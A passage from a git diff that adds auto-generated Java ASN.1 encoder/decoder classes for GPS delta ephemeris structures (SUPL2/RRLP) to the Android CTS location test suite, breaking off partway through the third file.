diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java
new file mode 100755
index 0000000..44a272d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSDeltaElementList
+ extends Asn1SequenceOf<GPSDeltaElementList.GPSDeltaElementListComponentType> {
+ //
+
+ private static final Asn1Tag TAG_GPSDeltaElementList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSDeltaElementList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSDeltaElementList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSDeltaElementList != null) {
+ return ImmutableList.of(TAG_GPSDeltaElementList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSDeltaElementList from encoded stream.
+ */
+ public static GPSDeltaElementList fromPerUnaligned(byte[] encodedBytes) {
+ GPSDeltaElementList result = new GPSDeltaElementList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSDeltaElementList from encoded stream.
+ */
+ public static GPSDeltaElementList fromPerAligned(byte[] encodedBytes) {
+ GPSDeltaElementList result = new GPSDeltaElementList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPSDeltaElementList.GPSDeltaElementListComponentType createAndAddValue() {
+ GPSDeltaElementList.GPSDeltaElementListComponentType value = new GPSDeltaElementList.GPSDeltaElementListComponentType();
+ add(value);
+ return value;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class GPSDeltaElementListComponentType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_GPSDeltaElementListComponentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSDeltaElementListComponentType() {
+ super();
+ setMinSize(1);
+setMaxSize(47);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSDeltaElementListComponentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSDeltaElementListComponentType != null) {
+ return ImmutableList.of(TAG_GPSDeltaElementListComponentType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSDeltaElementListComponentType from encoded stream.
+ */
+ public static GPSDeltaElementListComponentType fromPerUnaligned(byte[] encodedBytes) {
+ GPSDeltaElementListComponentType result = new GPSDeltaElementListComponentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSDeltaElementListComponentType from encoded stream.
+ */
+ public static GPSDeltaElementListComponentType fromPerAligned(byte[] encodedBytes) {
+ GPSDeltaElementListComponentType result = new GPSDeltaElementListComponentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "GPSDeltaElementListComponentType";
+ }
+}
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSDeltaElementList = [\n");
+ final String internalIndent = indent + " ";
+ for (GPSDeltaElementList.GPSDeltaElementListComponentType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
new file mode 100755
index 0000000..d256e0b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSDeltaEpochHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSDeltaEpochHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSDeltaEpochHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSDeltaEpochHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSDeltaEpochHeader != null) {
+ return ImmutableList.of(TAG_GPSDeltaEpochHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSDeltaEpochHeader from encoded stream.
+ */
+ public static GPSDeltaEpochHeader fromPerUnaligned(byte[] encodedBytes) {
+ GPSDeltaEpochHeader result = new GPSDeltaEpochHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSDeltaEpochHeader from encoded stream.
+ */
+ public static GPSDeltaEpochHeader fromPerAligned(byte[] encodedBytes) {
+ GPSDeltaEpochHeader result = new GPSDeltaEpochHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSDeltaEpochHeader.validityPeriodType validityPeriod_;
+ public GPSDeltaEpochHeader.validityPeriodType getValidityPeriod() {
+ return validityPeriod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSDeltaEpochHeader.validityPeriodType
+ */
+ public void setValidityPeriod(Asn1Object value) {
+ this.validityPeriod_ = (GPSDeltaEpochHeader.validityPeriodType) value;
+ }
+ public GPSDeltaEpochHeader.validityPeriodType setValidityPeriodToNewInstance() {
+ validityPeriod_ = new GPSDeltaEpochHeader.validityPeriodType();
+ return validityPeriod_;
+ }
+
+ private GPSEphemerisDeltaBitSizes ephemerisDeltaSizes_;
+ public GPSEphemerisDeltaBitSizes getEphemerisDeltaSizes() {
+ return ephemerisDeltaSizes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes
+ */
+ public void setEphemerisDeltaSizes(Asn1Object value) {
+ this.ephemerisDeltaSizes_ = (GPSEphemerisDeltaBitSizes) value;
+ }
+ public GPSEphemerisDeltaBitSizes setEphemerisDeltaSizesToNewInstance() {
+ ephemerisDeltaSizes_ = new GPSEphemerisDeltaBitSizes();
+ return ephemerisDeltaSizes_;
+ }
+
+ private GPSEphemerisDeltaScales ephemerisDeltaScales_;
+ public GPSEphemerisDeltaScales getEphemerisDeltaScales() {
+ return ephemerisDeltaScales_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales
+ */
+ public void setEphemerisDeltaScales(Asn1Object value) {
+ this.ephemerisDeltaScales_ = (GPSEphemerisDeltaScales) value;
+ }
+ public GPSEphemerisDeltaScales setEphemerisDeltaScalesToNewInstance() {
+ ephemerisDeltaScales_ = new GPSEphemerisDeltaScales();
+ return ephemerisDeltaScales_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSDeltaEpochHeader.validityPeriodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "validityPeriod : "
+ + getValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisDeltaSizes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisDeltaSizes();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisDeltaSizesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaBitSizes.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisDeltaSizes : "
+ + getEphemerisDeltaSizes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisDeltaScales() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisDeltaScales();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisDeltaScalesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisDeltaScales : "
+ + getEphemerisDeltaScales().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class validityPeriodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_validityPeriodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public validityPeriodType() {
+ super();
+ setValueRange("1", "8");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_validityPeriodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_validityPeriodType != null) {
+ return ImmutableList.of(TAG_validityPeriodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerUnaligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerAligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "validityPeriodType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSDeltaEpochHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
new file mode 100755
index 0000000..800ca91
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
@@ -0,0 +1,2421 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisDeltaBitSizes extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisDeltaBitSizes
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisDeltaBitSizes() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisDeltaBitSizes;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisDeltaBitSizes != null) {
+ return ImmutableList.of(TAG_GPSEphemerisDeltaBitSizes);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaBitSizes from encoded stream.
+ */
+ public static GPSEphemerisDeltaBitSizes fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaBitSizes result = new GPSEphemerisDeltaBitSizes();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaBitSizes from encoded stream.
+ */
+ public static GPSEphemerisDeltaBitSizes fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaBitSizes result = new GPSEphemerisDeltaBitSizes();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType bitsize_delta_omega_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType getBitsize_delta_omega() {
+ return bitsize_delta_omega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType
+ */
+ public void setBitsize_delta_omega(Asn1Object value) {
+ this.bitsize_delta_omega_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType setBitsize_delta_omegaToNewInstance() {
+ bitsize_delta_omega_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_omegaType();
+ return bitsize_delta_omega_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType bitsize_delta_deltaN_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType getBitsize_delta_deltaN() {
+ return bitsize_delta_deltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType
+ */
+ public void setBitsize_delta_deltaN(Asn1Object value) {
+ this.bitsize_delta_deltaN_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType setBitsize_delta_deltaNToNewInstance() {
+ bitsize_delta_deltaN_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_deltaNType();
+ return bitsize_delta_deltaN_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type bitsize_delta_m0_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type getBitsize_delta_m0() {
+ return bitsize_delta_m0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type
+ */
+ public void setBitsize_delta_m0(Asn1Object value) {
+ this.bitsize_delta_m0_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type setBitsize_delta_m0ToNewInstance() {
+ bitsize_delta_m0_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_m0Type();
+ return bitsize_delta_m0_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType bitsize_delta_omegadot_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType getBitsize_delta_omegadot() {
+ return bitsize_delta_omegadot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType
+ */
+ public void setBitsize_delta_omegadot(Asn1Object value) {
+ this.bitsize_delta_omegadot_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType setBitsize_delta_omegadotToNewInstance() {
+ bitsize_delta_omegadot_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_omegadotType();
+ return bitsize_delta_omegadot_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_eType bitsize_delta_e_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_eType getBitsize_delta_e() {
+ return bitsize_delta_e_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_eType
+ */
+ public void setBitsize_delta_e(Asn1Object value) {
+ this.bitsize_delta_e_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_eType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_eType setBitsize_delta_eToNewInstance() {
+ bitsize_delta_e_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_eType();
+ return bitsize_delta_e_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_idotType bitsize_delta_idot_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_idotType getBitsize_delta_idot() {
+ return bitsize_delta_idot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_idotType
+ */
+ public void setBitsize_delta_idot(Asn1Object value) {
+ this.bitsize_delta_idot_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_idotType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_idotType setBitsize_delta_idotToNewInstance() {
+ bitsize_delta_idot_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_idotType();
+ return bitsize_delta_idot_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType bitsize_delta_sqrtA_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType getBitsize_delta_sqrtA() {
+ return bitsize_delta_sqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType
+ */
+ public void setBitsize_delta_sqrtA(Asn1Object value) {
+ this.bitsize_delta_sqrtA_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType setBitsize_delta_sqrtAToNewInstance() {
+ bitsize_delta_sqrtA_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType();
+ return bitsize_delta_sqrtA_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type bitsize_delta_i0_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type getBitsize_delta_i0() {
+ return bitsize_delta_i0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type
+ */
+ public void setBitsize_delta_i0(Asn1Object value) {
+ this.bitsize_delta_i0_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type setBitsize_delta_i0ToNewInstance() {
+ bitsize_delta_i0_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_i0Type();
+ return bitsize_delta_i0_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type bitsize_delta_omega0_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type getBitsize_delta_omega0() {
+ return bitsize_delta_omega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type
+ */
+ public void setBitsize_delta_omega0(Asn1Object value) {
+ this.bitsize_delta_omega0_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type setBitsize_delta_omega0ToNewInstance() {
+ bitsize_delta_omega0_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_omega0Type();
+ return bitsize_delta_omega0_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_crsType bitsize_delta_crs_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_crsType getBitsize_delta_crs() {
+ return bitsize_delta_crs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_crsType
+ */
+ public void setBitsize_delta_crs(Asn1Object value) {
+ this.bitsize_delta_crs_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_crsType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_crsType setBitsize_delta_crsToNewInstance() {
+ bitsize_delta_crs_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_crsType();
+ return bitsize_delta_crs_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_cisType bitsize_delta_cis_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cisType getBitsize_delta_cis() {
+ return bitsize_delta_cis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_cisType
+ */
+ public void setBitsize_delta_cis(Asn1Object value) {
+ this.bitsize_delta_cis_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_cisType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cisType setBitsize_delta_cisToNewInstance() {
+ bitsize_delta_cis_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_cisType();
+ return bitsize_delta_cis_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_cusType bitsize_delta_cus_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cusType getBitsize_delta_cus() {
+ return bitsize_delta_cus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_cusType
+ */
+ public void setBitsize_delta_cus(Asn1Object value) {
+ this.bitsize_delta_cus_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_cusType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cusType setBitsize_delta_cusToNewInstance() {
+ bitsize_delta_cus_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_cusType();
+ return bitsize_delta_cus_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_crcType bitsize_delta_crc_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_crcType getBitsize_delta_crc() {
+ return bitsize_delta_crc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_crcType
+ */
+ public void setBitsize_delta_crc(Asn1Object value) {
+ this.bitsize_delta_crc_ = (GPSEphemerisDeltaBitSizes.bitsize_delta_crcType) value;
+ }
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_crcType setBitsize_delta_crcToNewInstance() {
+ bitsize_delta_crc_ = new GPSEphemerisDeltaBitSizes.bitsize_delta_crcType();
+ return bitsize_delta_crc_;
+ }
+
+ private GPSEphemerisDeltaBitSizes.bitsize_delta_cicType bitsize_delta_cic_;
+ public GPSEphemerisDeltaBitSizes.bitsize_delta_cicType getBitsize_delta_cic() {
+ return bitsize_delta_cic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaBitSizes.bitsize_delta_cicType
